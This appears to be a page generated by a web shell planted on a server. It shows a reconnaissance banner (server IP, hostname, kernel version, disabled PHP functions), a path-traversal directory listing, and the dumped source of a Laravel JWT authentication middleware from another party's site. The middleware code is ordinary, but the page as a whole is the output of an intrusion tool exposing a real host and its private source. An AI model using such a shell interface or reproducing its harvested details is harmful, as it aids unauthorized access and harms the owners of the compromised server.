uawdijnntqw1x1x1
IP : 216.73.217.77
Hostname : panel.codeskitter.com
Kernel : Linux panel.codeskitter.com 6.8.0-100-generic #100-Ubuntu SMP PREEMPT_DYNAMIC Tue Jan 13 16:40:06 UTC 2026 x86_64
Disable Function : apache_child_terminate, apache_note, apache_setenv, define_syslog_variables, dl, link, opcache_get_status, openlog, pcntl_exec, pcntl_fork, pcntl_setpriority, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid, posix_setuid
OS : Linux
PATH:
/
home
/
users
/
unlimited
/
www
/
api.xalonx.com
/
tests
/
..
/
database
/
..
/
app
/
Http
/
Middleware
/
JWTMiddleware.php
/
/
<?php namespace App\Http\Middleware; use Closure; use Illuminate\Http\Request; use PHPOpenSourceSaver\JWTAuth\Facades\JWTAuth; use PHPOpenSourceSaver\JWTAuth\Exceptions\TokenExpiredException; use PHPOpenSourceSaver\JWTAuth\Exceptions\TokenInvalidException; use PHPOpenSourceSaver\JWTAuth\Exceptions\JWTException; use Symfony\Component\HttpFoundation\Response; class JWTMiddleware { /** * Handle an incoming request. * * @param \Closure(\Illuminate\Http\Request): (\Symfony\Component\HttpFoundation\Response) $next */ public function handle(Request $request, Closure $next): Response { if (is_null($request->bearerToken())) { return response()->json(['error' => 'Token required.'], 401); } try { // attempt to verify the credentials and create a token for the user $token = JWTAuth::getToken(); $apy = JWTAuth::getPayload($token)->toArray(); } catch (TokenExpiredException $e) { return response()->json(['error' => 'Session Expired.', 'status_code' => 401], 401); } catch (TokenInvalidException $e) { return response()->json(['error' => 'Token invalid.', 'status_code' => 401], 401); } catch (JWTException $e) { return response()->json(['token_absent' => $e->getMessage()], 401); } return $next($request); } }
/home/users/unlimited/www/api.xalonx.com/tests/../database/../app/Http/Middleware/JWTMiddleware.php